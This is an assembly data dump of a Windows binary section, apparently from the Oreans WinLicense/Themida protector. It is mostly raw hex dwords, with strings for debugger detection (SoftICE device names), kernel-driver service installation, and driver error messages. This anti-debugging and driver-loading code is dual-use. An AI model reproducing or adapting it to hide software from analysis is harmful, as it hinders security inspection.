		dd 0EA1D372h, 23B6EA88h, 0C73B91Ch, 983E3B6Dh, 1334C7F9h
		dd 3, 332D4DD5h, 50D6699Bh, 66EC7FB1h, 800699CBh, 971DB0E4h
		dd 0AA30C3FDh, 0BB41D410h, 0D258EB1Dh
		dd 0E268FB39h, 2A7C0F45h, 8904EC83h, 0E6892434h, 4C681h
		dd 0EE830000h, 24348704h, 0E189515Ch, 4C181h, 0E9830000h
		dd 240C8704h, 242C895Ch, 4C7F68h, 24148900h, 36806857h
		dd 815F35FDh, 0AE67CCC7h, 0FB8953D0h, 5F5BDD89h, 785068h
		dd 24248900h, 4240483h,	4EC835Ah, 81242C89h, 2D4A2434h
		dd 428F0CDFh, 8728108h,	0CDF2D4Ah, 5A2434FFh, 4C481h, 2C8B0000h
		dd 0E3895324h, 4C381h, 0C3830000h, 241C8704h, 0D94BE95Ch
		dd 7554FFFDh, 0ABA607B8h, 0FFC50306h, 236B6FE0h, 488EA85Eh
		dd 768BBA79h, 46E5C200h, 8CE918h, 83600000h, 0A90061BDh
		dd 840F0006h, 5, 77E9h,	80006A00h, 850F303Eh, 8, 0E946006Ah
		dd 35h,	0F333E80h, 885h, 46106A00h, 24E9h, 343E8000h, 8850Fh
		dd 306A0000h, 13E946h, 3E800000h, 8850F35h, 6A000000h
		dd 2E94640h, 6A000000h,	203E8000h, 12850Fh, 7E800000h
		dd 850F0001h, 8, 0E908C483h, 14h, 0B7D858Dh, 509006A9h
		dd 96509690h, 95FF006Ah, 6A92105h, 85C6C361h, 6A916B1h
		dd 4E84Dh, 76A80000h, 8B50A435h, 8B042444h, 24448900h
		dd 0B5FF5804h, 6A92721h, 3C26858Dh, 0D0FF06A9h,	21058589h
		dd 6E806A9h, 78000000h,	0B32FD9EBh, 9DBA662Ch, 0B58B591Dh
		dd 6A91F11h, 5A4BC181h,	8D010000h, 6A9101Dh, 165DBFh, 81B50B00h
		dd 8B06A902h, 12E919h, 0E2370000h, 38AD8528h, 2849F27Ch
		dd 0AB2ED5B2h, 0C1EE25DEh, 9F87C381h, 85333694h, 6A93301h
		dd 36DF381h, 0BD310D7Fh, 6A9289Dh, 0B9D9F381h, 12E83E77h
		dd 18000000h, 0ED122A00h, 72E55827h, 0DF84A849h, 0FFCC4470h
		dd 5AF08B7Ch, 0D0BA6653h, 66018F78h, 0E983F08Bh, 0E58D8903h
		dd 4906A90Dh, 13850Fh, 8C0F0000h, 0Dh, 7E8h, 19B67700h
		dd 31E521F9h, 1EF815Ah,	0F000000h, 1485h, 0F0816600h, 1FE92B3Dh
		dd 2F000000h, 0AE0F928Fh, 56411DECh, 0D6816618h, 58E96C7Ah
		dd 72FFFFFFh, 76DD795Ch, 2C08FF38h, 1EEB0D3Dh, 5C2E5C5Ch
		dd 45434953h, 2E5C5C00h, 5749535Ch, 444956h, 5C2E5C5Ch
		dd 4349544Eh, 0C08B0045h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 66C35747h, 947002Bh, 0B966DE32h, 0BD8346FFh
		dd 6A9131Dh, 83097500h,	0A91431BDh, 19740006h, 0C08B5350h
		dd 40FB8h, 45858900h, 8D06A924h, 0ABB45C9Dh, 5BD3FF06h
		dd 31BD8358h, 6A914h, 53501774h, 40FB8h, 45858900h, 8D06A924h
		dd 0ABB14B9Dh, 5BD3FF06h, 0E5853158h, 6A06A933h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 66A8C353h, 23A428BBh, 0AEA0AE7Bh, 860FC08Bh,	6, 12098D01h
		dd 85C606A9h, 6A916B1h,	53006A43h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 406E003Ch, 0CF685688h
		dd 8AB4B364h, 243481E8h, 83D0A33h, 63CA8166h, 258501DDh
		dd 0FF06A90Eh, 0A90155B5h, 8E806h, 0B0460000h, 25206D6Ch
		dd 860FF5B0h, 17h, 12E9h, 19458700h, 2813ADEEh,	622717ECh
		dd 0A6F8B429h, 5ED3B952h, 3C26858Dh, 6A06A9h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 8BF674C3h
		dd 0A92CD195h, 89D0FF06h, 0A9016DB5h, 0C88B5006h, 8B240489h
		dd 0A9316D8Dh, 6AFC06h,	2062BB60h, 0BD311D8Bh, 6A9020Dh
		dd 4E861h, 800000h, 52500000h, 0B9F98B60h, 564408A9h, 60310F61h
		dd 12E9h, 563A3200h, 872AAFC3h,	926D7638h, 25D80ED5h, 0B6EF8438h
		dd 585A61D5h, 0F28B6650h, 424448Bh, 27EBF1BAh, 0E8008B7Fh
		dd 11h,	0FDA66D42h, 0A080C5BAh,	810E9CC0h, 95A09BCAh, 3830F2Bh
		dd 66000000h, 895EF08Bh, 0E8042444h, 0Fh, 4BDA477Bh, 5C9D5E31h
		dd 373EDF12h, 8B7E7AEDh, 0E9585AF9h, 12h, 820F36E2h, 0DD689975h
		dd 0C9D0BDEFh, 5F54232Fh, 0B70FC432h, 6A036ACFh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0F00FC356h, 6AD816C6h, 5FFC5200h, 9529036Ah,	6A9005Dh
		dd 5D89D768h, 28A0FC0h,	8B000000h, 243481CEh, 5D89D7h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0AEC35646h
		dd 22B58D89h, 9D8D06A9h, 6ABA84Fh, 0F1BF0F60h, 6830Fh
		dd 8D0B0000h, 6A90105h,	8D0F5061h, 3, 89F28B66h, 6A241Ch
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0FA26DC3h, 7F69E73Eh, 0B70F5162h, 81D0FFF6h,	779B6EEAh
		dd 850F4070h, 23Dh, 5E8h, 13C2E400h, 0D38BC597h, 0B70F5859h
		dd 8B6050C8h, 0F5250F2h, 0BE831h, 4C50000h, 0F85151E8h
		dd 0C907FFDDh, 585A5824h, 24048961h, 195BD8Bh, 6A06A9h
		dd 2A0D9529h, 0B6806A9h, 0E896FE64h, 0Eh, 0B359090Ch, 6E8B7196h
		dd 76E494D9h, 8B666B71h, 4815FFEh, 19C7524h, 0C88B6669h
		dd 0B589036Ah, 6A931FDh, 1449B58Bh, 6A06A9h, 3860Fh, 8B660000h
		dd 0E9036AD3h, 0Fh, 0C83D4961h,	55FC1024h, 71E9BF07h, 68B6BBF4h
		dd 0A67EFE3Ah, 481F88Bh, 8101C624h, 4D9D0919h, 8D06A91Ah
		dd 0ABA8589Dh, 0BF665606h, 505EDE04h, 4880Fh, 0B1600000h
		dd 1C89619Dh, 7D958924h, 0FF06A925h, 99BD8BD0h,	4006A907h
		dd 167850Fh, 29580000h,	0A92CA9BDh, 59BD0106h, 5006A90Fh
		dd 5FFA8B50h, 66240489h, 6AC88Bh, 4E8h,	8000h, 0E9525000h
		dd 12h,	0F4534AC7h, 90DF648Dh, 4F942D0h, 78BEF92Ch, 310FD3CEh
		dd 585AC1B2h, 11E850h, 88C00000h, 534190D6h, 0E58D8735h
		dd 0C6D6F655h, 604F12ACh, 0D08BA3B4h, 448B5961h, 0C88B0424h
		dd 4489008Bh, 0CB60424h, 0D98D0158h, 6A06A927h,	85895703h
		dd 6A911D5h, 0BD8D895Ah, 6A06A935h, 0BD68B00h, 0A922F995h
		dd 60036A06h, 6860Fh, 0B5290000h, 6A90819h, 6E9h, 20103800h
		dd 61B83FAEh, 0E81BE868h, 240481B1h, 0E17E418h,	10E8h
		dd 2057A700h, 38F041AFh, 98DD53A9h, 2C1EB732h, 5AD38B7Bh
		dd 0A8639D8Dh, 0B70F06ABh, 5050F5D6h, 23E3BA52h, 310F755Ch
		dd 0A8AA98BAh, 89585A28h, 0D781241Ch, 5522499h,	6AD0FFh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 858510C3h, 8B4D31F8h, 0A91E7195h, 850F4006h,	45h, 1DCD8D8Bh
		dd 8A5806A9h, 68A0FD5h,	8B000000h, 0A921458Dh, 12BE906h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 0D0225DC3h, 3A1D4784h, 3830Fh, 0BF0F0000h
		dd 9D88BD3h, 0A9293195h, 95896006h, 6A92C89h, 6189D180h
		dd 57006A4Bh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 66F5DFFAh, 587F0DBAh, 0EE8h, 7720300h, 0A0FDA4C2h
		dd 45B05527h, 8B9F121Ch, 0A911818Dh, 85C65906h,	6A916B1h
		dd 0D8D8B43h, 6806A902h, 0E4030020h, 12E9h, 0C1B25C00h
		dd 7FADF2Eh, 9FA0C51Ah,	45A72907h, 81E485F9h, 4A872434h
		dd 0CE812475h, 320F147Ch, 155B5FFh, 6A06A9h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 5EA833C3h, 26858D76h, 0F06A93Ch, 680h, 69858900h, 0FF06A90Ah
		dd 2CBE66D0h, 0BF66934Fh, 8A50A2FEh, 0BD8993D4h, 6A90E79h
		dd 3850Fh, 8B660000h, 8BD0FFF1h, 0A9346D8Dh, 229D8D06h
		dd 8B06A972h, 0A901118Dh, 1B806h, 0CE800000h, 31E3FF19h
		dd 0A9333585h, 60C18B06h, 177D9D8Bh, 0BD3106A9h, 6A903D9h
		dd 89C08B61h, 0A92C558Dh, 1DBD8306h, 6A913h, 0BD830975h
		dd 6A91431h, 50197400h,	0B8C08B53h, 40Fh, 2098589h, 9D8D06A9h
		dd 6ABB4C3h, 585BD3FFh,	1431BD83h, 740006A9h, 0B8535017h
		dd 40Fh, 2098589h, 9D8D06A9h, 6ABB164h,	585BD3FFh, 236F17BAh
		dd 8B66607Dh, 6471BED3h, 8B612D81h, 0AAE9C0h, 6F530000h
		dd 61777466h, 575C6572h, 694C6E69h, 736E6563h, 68430065h
		dd 496B6365h, 7058004Eh, 45746F72h, 746978h, 63656843h
		dd 54554F6Bh, 6E695700h, 6563694Ch, 5665736Eh, 69737265h
		dd 57006E6Fh, 694C6E69h, 736E6563h, 69724465h, 56726576h
		dd 69737265h, 57006E6Fh, 694C6E69h, 736E6563h, 736E4965h
		dd 636E6174h, 78450065h, 6B4F7469h, 6F725000h, 4E4963h
		dd 636F7250h, 54554Fh, 74697845h, 45004E49h, 4F746978h
		dd 54005455h, 4E4970h, 3 dup(0)
		dd 77DDAF7Fh, 77DD72F0h, 596E9h, 7F858900h, 8D06ABAFh
		dd 0ABAF7B85h, 858D5006h, 6ABAEE5h, 16850h, 95FF8000h
		dd 6ABAF8Bh, 0B5FF196Ah, 6ABAF7Fh, 6A016Ah, 0AF14858Dh
		dd 0FF5006ABh, 0ABAF7BB5h, 0B995FF06h, 0FF06A912h, 0ABAF7BB5h
		dd 8795FF06h, 0FF06ABAFh, 0ABAF7BB5h, 1995FF06h, 0C306A90Ah
		dd 0AF7F8589h, 858D06ABh, 6ABAF7Bh, 0E5858D50h,	5006ABAEh
		dd 168h, 8B95FF80h, 6A06ABAFh, 7F858D04h, 5006ABAFh, 6A046Ah
		dd 0AF3E858Dh, 0FF5006ABh, 0ABAF7BB5h, 0B995FF06h, 0FF06A912h
		dd 0ABAF7BB5h, 8795FF06h, 0FF06ABAFh, 0ABAF7BB5h, 1995FF06h
		dd 0C306A90Ah, 0AF7F8589h, 858D06ABh, 6ABAF7Bh,	0E5858D50h
		dd 5006ABAEh, 168h, 8B95FF80h, 6A06ABAFh, 7F858D04h, 5006ABAFh
		dd 6A046Ah, 0AF26858Dh,	0FF5006ABh, 0ABAF7BB5h,	0B995FF06h
		dd 0FF06A912h, 0ABAF7BB5h, 8795FF06h, 0FF06ABAFh, 0ABAF7BB5h
		dd 1995FF06h, 0C306A90Ah, 0AF7F8589h, 858D06ABh, 6ABAF7Bh
		dd 0E5858D50h, 5006ABAEh, 168h,	8B95FF80h, 6A06ABAFh, 7F858D04h
		dd 5006ABAFh, 6A046Ah, 0AF51858Dh, 0FF5006ABh, 0ABAF7BB5h
		dd 0B995FF06h, 0FF06A912h, 0ABAF7BB5h, 8795FF06h, 0FF06ABAFh
		dd 0ABAF7BB5h, 1995FF06h, 0C306A90Ah, 0AF7F8589h, 858D06ABh
		dd 6ABAF7Bh, 0E5858D50h, 5006ABAEh, 168h, 8B95FF80h, 6A06ABAFh
		dd 7F858D04h, 5006ABAFh, 6A046Ah, 0AF01858Dh, 0FF5006ABh
		dd 0ABAF7BB5h, 0B995FF06h, 0FF06A912h, 0ABAF7BB5h, 8795FF06h
		dd 0FF06ABAFh, 0ABAF7BB5h, 1995FF06h, 0C306A90Ah, 1A79BD83h
		dd 0F0006A9h, 0B84h, 799D8B00h,	8306A91Ah, 3894CC3h, 79BD83C3h
		dd 6A91Ah, 0B840Fh, 9D8B0000h, 6A91A79h, 8950C383h, 0BD83C303h
		dd 6A91A79h, 0B840F00h,	8B000000h, 0A91A799Dh, 54C38306h
		dd 83C30389h, 0A91A79BDh, 840F0006h, 0Bh, 1A799D8Bh, 0C38306A9h
		dd 0C3038958h, 1A79BD83h, 0F0006A9h, 0B84h, 799D8B00h
		dd 8306A91Ah, 3895CC3h,	8960C3C3h, 0ABAF7F85h, 7B858D06h
		dd 5006ABAFh, 0AEE5858Dh, 685006ABh, 80000001h,	0AF8B95FFh
		dd 46A06ABh, 0AF7F858Dh, 6A5006ABh, 8D006A04h, 0ABAF7685h
		dd 0B5FF5006h, 6ABAF7Bh, 12B995FFh, 0BD8306A9h,	6A9131Dh
		dd 0C840F00h, 0FF000000h, 0ABAF7BB5h, 8795FF06h, 0FF06ABAFh
		dd 0ABAF7BB5h, 1995FF06h, 6106A90Ah, 858960C3h,	6ABAF7Fh
		dd 0AF7B858Dh, 8D5006ABh, 0ABAEE585h, 1685006h,	0FF800000h
		dd 0ABAF8B95h, 8D046A06h, 0ABAF7F85h, 46A5006h,	858D006Ah
		dd 6ABAF58h, 7BB5FF50h,	0FF06ABAFh, 0A912B995h,	1DBD8306h
		dd 6A913h, 0C840Fh, 0B5FF0000h,	6ABAF7Bh, 0AF8795FFh, 0B5FF06ABh
		dd 6ABAF7Bh, 0A1995FFh,	0C36106A9h, 7F858960h, 8D06ABAFh
		dd 0ABAF7B85h, 858D5006h, 6ABAEE5h, 16850h, 95FF8000h
		dd 6ABAF8Bh, 858D046Ah,	6ABAF7Fh, 6A046A50h, 5F858D00h
		dd 5006ABAFh, 0AF7BB5FFh, 95FF06ABh, 6A912B9h, 131DBD83h
		dd 0F0006A9h, 0C84h, 7BB5FF00h,	0FF06ABAFh, 0ABAF8795h
		dd 7BB5FF06h, 0FF06ABAFh, 0A90A1995h, 60C36106h, 0AF7F8589h
		dd 858D06ABh, 6ABAF7Bh,	0E5858D50h, 5006ABAEh, 168h, 8B95FF80h
		dd 6A06ABAFh, 7F858D04h, 5006ABAFh, 6A046Ah, 0AF67858Dh
		dd 0FF5006ABh, 0ABAF7BB5h, 0B995FF06h, 8306A912h, 0A9131DBDh
		dd 840F0006h, 0Ch, 0AF7BB5FFh, 95FF06ABh, 6ABAF87h, 0AF7BB5FFh
		dd 95FF06ABh, 6A90A19h,	8960C361h, 0ABAF7F85h, 7B858D06h
		dd 5006ABAFh, 0AEE5858Dh, 685006ABh, 80000001h,	0AF8B95FFh
		dd 46A06ABh, 0AF7F858Dh, 6A5006ABh, 8D006A04h, 0ABAF6E85h
		dd 0B5FF5006h, 6ABAF7Bh, 12B995FFh, 0BD8306A9h,	6A9131Dh
		dd 0C840F00h, 0FF000000h, 0ABAF7BB5h, 8795FF06h, 0FF06ABAFh
		dd 0ABAF7BB5h, 1995FF06h, 6106A90Ah, 85C760C3h,	6ABAF7Fh
		dd 1, 0AF7B858Dh, 8D5006ABh, 0ABAEE585h, 2685006h, 0FF800000h
		dd 0ABAF8B95h, 0FC00B06h, 0F84h, 7F85C700h, 6ABAFh, 0E9000000h
		dd 4Dh,	858D046Ah, 6ABAF7Fh, 6A046A50h,	0F9858D00h, 5006ABAEh
		dd 0AF7BB5FFh, 95FF06ABh, 6A912B9h, 840FC00Bh, 0Fh, 0AF7F85C7h
		dd 6ABh, 0AE90000h, 0C7000000h,	0ABAF7F85h, 106h, 7BB5FF00h
		dd 0FF06ABAFh, 0A90A1995h, 858B6106h, 6ABAF7Fh,	858960C3h
		dd 6ABAF7Fh, 0AF7B858Dh, 8D5006ABh, 0ABAEE585h,	1685006h
		dd 0FF800000h, 0ABAF8B95h, 8D046A06h, 0ABAF7F85h, 46A5006h
		dd 858D006Ah, 6ABAEF9h,	7BB5FF50h, 0FF06ABAFh, 0A912B995h
		dd 1DBD8306h, 6A913h, 0C840Fh, 0B5FF0000h, 6ABAF7Bh, 0AF8795FFh
		dd 0B5FF06ABh, 6ABAF7Bh, 0A1995FFh, 0C36106A9h,	7F858960h
		dd 8D06ABAFh, 0ABAF7B85h, 858D5006h, 6ABAEE5h, 16850h
		dd 95FF8000h, 6ABAF8Bh,	858D046Ah, 6ABAF7Fh, 6A046A50h
		dd 0B858D00h, 5006ABAFh, 0AF7BB5FFh, 95FF06ABh,	6A912B9h
		dd 131DBD83h, 0F0006A9h, 0C84h,	7BB5FF00h, 0FF06ABAFh
		dd 0ABAF8795h, 7BB5FF06h, 0FF06ABAFh, 0A90A1995h, 0C6C36106h
		dd 0A916B185h, 7685206h, 0FFADE47Bh, 0A9004DB5h, 0D595FF06h
		dd 8906A928h, 0ABAF8B85h, 0B185C606h, 5206A916h, 2E00E568h
		dd 4DB5FF90h, 0FF06A900h, 0A928D595h, 87858906h, 0C606ABAFh
		dd 0A916B185h, 35685206h, 0FFB9BF12h, 0A9004DB5h, 0D595FF06h
		dd 8906A928h, 0A912B985h, 0B185C606h, 5206A916h, 78103468h
		dd 4DB5FF98h, 0FF06A900h, 0A928D595h, 19858906h, 0C606A90Ah
		dd 0A916B185h, 0D4685206h, 0FFC005DBh, 0A9004DB5h, 0D595FF06h
		dd 8906A928h, 0A91D8585h, 99E906h, 622F0000h, 68636775h
		dd 326B6365h, 75622F00h, 65686367h, 2F006B63h, 63726F66h
		dd 6E757265h, 75622F00h, 65686367h, 75666B63h, 2F006C6Ch
		dd 776F6873h, 65646F63h, 68732F00h, 6F63776Fh, 326564h
		dd 726C632Fh, 642F0074h, 317369h, 6F68732Fh, 736E6977h
		dd 636E6174h, 672F0065h, 6C777465h, 74617473h, 2F007375h
		dd 73676F6Ch, 75746174h, 642F0073h, 73706D75h, 75746174h
		dd 73h,	632F0000h, 6B636568h, 746F7270h, 69746365h, 6E6Fh
		dd 83000000h, 0ABB645BDh, 840F0006h, 0Ah, 143185C7h, 106A9h
		dd 85C60000h, 6A916B1h,	4E847h,	6C8D0000h, 8B50906Dh, 8B042444h
		dd 24448900h, 0B5FF5804h, 6A90155h, 3C26858Dh, 0D0FF06A9h
		dd 0F88BD0FFh, 0F223F80h, 2285h, 22B04700h, 0F9850FAEh
		dd 80FFFFFFh, 840F003Fh, 318h, 3F8047h,	30E840Fh, 1EE90000h
		dd 80000000h, 840F003Fh, 300h, 0F203F80h, 685h,	6E94700h
		dd 47000000h, 0FFFFE2E9h, 3F80FFh, 5850Fh, 0DDE90000h
		dd 0E9000002h, 1, 203F8047h, 0FFF6840Fh, 3F80FFFFh, 5850F00h
		dd 0E9000000h, 2C0h, 0AE8h, 0FFCBE900h,	0B1E9FFFFh, 8D000002h
		dd 0ABB5C5B5h, 225E806h, 0BD030000h, 6ABB65Ah, 0B65ABD83h
		dd 0F0006ABh, 0B84h, 1D85C700h,	106A913h, 0C3000000h, 0B5D0B58Dh
		dd 0FCE806ABh, 3000001h, 0ABB65ABDh, 5ABD8306h,	6ABB6h
		dd 0B840Fh, 85C70000h, 6A91431h, 1, 49B58DC3h, 0E806ABB6h
		dd 1D3h, 0B65ABD03h
		dd 0BD8306ABh, 6ABB65Ah, 0B840F00h, 0C7000000h,	0A9006185h
		dd 106h, 0B58DC300h, 6ABB5DAh, 1AAE8h, 5ABD0300h, 8306ABB6h
		dd 0ABB65ABDh, 840F0006h, 0Bh, 143185C7h, 106A9h, 8DC30000h
		dd 0ABB5E4B5h, 181E806h, 0BD030000h, 6ABB65Ah, 0B65ABD83h
		dd 0F0006ABh, 1584h, 3185C700h,	106A914h, 0C7000000h, 0A9131D85h
		dd 106h, 0B58DC300h, 6ABB5F2h, 14EE8h, 5ABD0300h, 8306ABB6h
		dd 0ABB65ABDh, 840F0006h, 0Ah, 0CB185C7h, 106A9h, 0B58D0000h
		dd 6ABB5FCh, 126E8h, 5ABD0300h,	8306ABB6h, 0ABB65ABDh
		dd 840F0006h, 0Ah, 0CB185C7h, 106A9h, 0B58D0000h, 6ABB607h
		dd 0FEE8h, 5ABD0300h, 8306ABB6h, 0ABB65ABDh, 840F0006h
		dd 0Ah,	1D0585C7h, 106A9h, 0B58D0000h, 6ABB60Dh, 0D6E8h
		dd 5ABD0300h, 8306ABB6h, 0ABB65ABDh, 840F0006h,	0Ah, 25D985C7h
		dd 106A9h, 0B58D0000h, 6ABB613h, 0AEE8h, 5ABD0300h, 8306ABB6h
		dd 0ABB65ABDh, 840F0006h, 0Ah, 32A985C7h, 106A9h, 0B58D0000h
		dd 6ABB621h, 86E8h, 5ABD0300h, 8306ABB6h, 0ABB65ABDh, 840F0006h
		dd 0Ah,	21D85C7h, 106A9h, 0B58D0000h, 6ABB62Eh,	5EE8h
		dd 5ABD0300h, 8306ABB6h, 0ABB65ABDh, 840F0006h,	0Ah, 1EF185C7h
		dd 106A9h, 0B58D0000h, 6ABB639h, 36E8h,	5ABD0300h, 8306ABB6h
		dd 0ABB65ABDh, 840F0006h, 0Ah, 236985C7h, 106A9h, 1E90000h
		dd 47000000h, 0F203F80h, 984h, 3F8000h,	0FFED850Fh, 60C3FFFFh
		dd 1B9h, 0E9DE8B00h, 19h, 0F003F80h, 285h, 8AC92B00h, 0F163817h
		dd 284h, 46C92B00h, 3E8047h, 8840Fh, 0C90B0000h, 0FFD6850Fh
		dd 0C90BFFFFh, 21840Fh,	3F800000h, 9840F00h, 80000000h
		dd 850F203Fh, 0Ah, 1B9h, 5E900h, 0B90000h, 0B000000h, 0D840FC9h
		dd 2B000000h, 5AB589F3h, 0E906ABB6h, 0Ah, 0B65A85C7h, 6ABh
		dd 0C3610000h, 0B8h, 0FC00B00h,	0A84h, 0B185C700h, 6A90Ch
		dd 8B000000h, 20EE9C8h,	43330000h, 6F6E6E61h, 72772074h
		dd 20657469h, 6165726Fh, 762E736Eh, 0D0A6478h, 656B614Dh
		dd 72757320h, 68742065h, 74207461h, 20736968h, 656C6966h
		dd 20736920h, 20746F6Eh, 6E696562h, 73752067h, 62206465h
		dd 6E612079h, 6568746Fh, 72702072h, 6172676Fh, 2E6Dh, 67h dup(0)
		dd 4F5C0000h, 6E616572h, 78762E73h, 64h, 2 dup(0)
		dd 0EFE9h, 0B185C600h, 4706A916h, 0E45B8668h, 55B5FFE3h
		dd 8D06A901h, 0A93C2685h, 68D0FF06h, 104h, 67D9D8Dh, 0FF5306A9h
		dd 0B58D50D0h, 6ABBBEDh, 0C032FE8Bh, 0F9850FAEh, 2BFFFFFFh
		dd 58CF8BFEh, 0F803FB8Bh, 85C6A4F3h, 6A916B1h, 6EFC6843h
		dd 0B5FFBC8Eh, 6A90155h, 3C26858Dh, 0D0FF06A9h,	67DB58Dh
		dd 6A06A9h, 8068h, 6A026A00h, 68006A00h, 0C0000000h, 8BD0FF56h
		dd 0B185C6D8h, 5706A916h, 9BEE5668h, 55B5FFA6h,	8D06A901h
		dd 0A93C2685h, 8DD0FF06h, 0A90255BDh, 138D8D06h, 6A06ABBDh
		dd 0D0685700h, 51000037h, 85D0FF53h, 1B850FC0h,	8D000000h
		dd 0ABB9F5B5h, 0B1858D06h, 0FF06ABA6h, 228D8DD0h, 0B806A972h
		dd 0
		dd 85C6E1FFh, 6A916B1h,	4AA76843h, 0B5FFC076h, 6A90155h
		dd 3C26858Dh, 0D0FF06A9h, 0C3D0FF53h, 37D0B9h, 0E800h
		dd 83580000h, 8890EC0h,	2E9h, 0E9C38B00h, 37D0h, 905A4Dh
		dd 3, 4, 0FFFFh, 0B8h, 0
		dd 40h,	8 dup(0)
		dd 0B0h, 0EBA1F0Eh, 0CD09B400h,	4C01B821h, 685421CDh, 70207369h
		dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
		dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0
		dd 0DB1D175Dh, 3 dup(88737619h), 886156E5h, 88737618h
		dd 88737619h, 88737618h, 68636952h, 88737619h, 2 dup(0)
		dd 454Ch, 0
		dd 40002h, 0
		dd 38000h, 14h,	4 dup(0)
		dd 200h, 1C0h, 90h, 0
		dd 7Eh,	0
		dd 0C4h, 1, 0DCh, 3 dup(0)
		dd 12Ch, 138h, 2 dup(0)
		dd 142h, 196h, 1D2h, 0
		dd 1D2h, 0
		dd 1000h, 14h, 37C0h, 10h, 0Ch dup(0)
		dd 4000000h, 27C0h, 0
		dd 2045h, 1, 14h, 444F434Ch, 10000h, 20000h, 30000h, 40000h
		dd 50000h, 60000h, 70000h, 80000h, 90000h, 0A0000h, 0B0000h
		dd 0C0000h, 0D0000h, 0E0000h, 0F0000h, 100000h,	110000h
		dd 120000h, 130000h, 140000h, 52505808h, 5856544Fh, 44h
		dd 10301h, 3, 0
		dd 13h dup(70000h), 3C0000h, 70000h, 60010018h,	0AD000727h
		dd 500101h, 1910007h, 27279B01h, 6F010600h, 7D017927h
		dd 85018101h, 8D018901h, 75000701h, 27950101h, 1710007h
		dd 7279801h, 1016B00h, 2771h, 360h dup(0)
		dd 400h, 1, 4F525058h, 44585654h, 80000000h, 9 dup(0)
aVerpp		db 'verPP',0
		align 4
a1vsr2vsr3vsr	db '1vsR2vsR3vsR',0
		align 4
		dd 9C3h	dup(0)
		dd 831BE883h, 77309F8h,	8524FFh, 0F8000000h, 0C3h, 8 dup(0)
		dd 0C3C03300h, 83C3C033h, 75000C7Eh, 0EBC03304h, 0C7E831Ah
		dd 8D147501h, 5, 187E8B00h, 46C70789h, 420h, 0C3C03300h
		dd 5250580Ch, 5856544Fh, 44445F44h, 42h, 0FE8h,	31505E00h
		dd 8AAB1A55h, 0E5F38F76h, 1B7861BBh, 2CDA8166h,	85295B93h
		dd 6A90589h, 6BA5C381h,	81660000h, 68152ED6h, 0
		dd 5FF78B66h, 2C5ADA81h, 34FF23FAh, 8B66601Fh, 0BBB866C6h
		dd 0F586166h, 0E881C9BFh, 7B621CF0h, 37DB58Bh, 0C08106A9h
		dd 6D628188h, 2F58529h,	0C08106A9h, 7BFB766h, 48924B6h
		dd 8850F3Bh, 0F000000h,	284h, 66D08A00h, 0EF83D18Bh, 0F59D2903h
		dd 4F06A92Ch, 81C88B66h, 0FF94ECFFh, 0A3850FFFh, 66FFFFFFh
		dd 0B7E9CA8Bh, 41000010h, 50415644h, 2E323349h,	4C4C44h
		dd 6E65704Fh, 614D4353h, 6567616Eh, 43004172h, 74616572h
		dd 72655365h, 65636976h, 74530041h, 53747261h, 69767265h
		dd 416563h, 4E746547h, 76697461h, 73795365h, 496D6574h
		dd 6F666Eh, 6E65704Fh, 76726553h, 41656369h, 6C654400h
		dd 53657465h, 69767265h, 43006563h, 65736F6Ch, 76726553h
		dd 48656369h, 6C646E61h, 6F430065h, 6F72746Eh, 7265536Ch
		dd 65636976h, 8	dup(0)
		dd 65726F00h, 33736E61h, 79732E32h, 73h, 0
		dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0)
aOreans32	db 'oreans32',0
a_Oreans32	db '\\.\oreans32',0
a_GlobalOreans3	db '\\.\Global\oreans32',0
aOreansx64	db 'oreansx64',0
a_GlobalOreansx	db '\\.\Global\oreansx64',0
		align 4
		dd 41h dup(0)
		dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h
		dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h
		dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h
		dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h
		dd 736E6165h, 732E3233h, 7379h,	48h dup(0)
		dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h
		dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h
		dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h
		dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h
		dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h
		dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h
		dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h
		dd 676F7270h, 2E6D6172h, 59h dup(0)
		dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh
		dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h
		dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh
		dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h
		dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0)
		dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h
		dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h
		dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h
		dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h
		dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h
		dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h
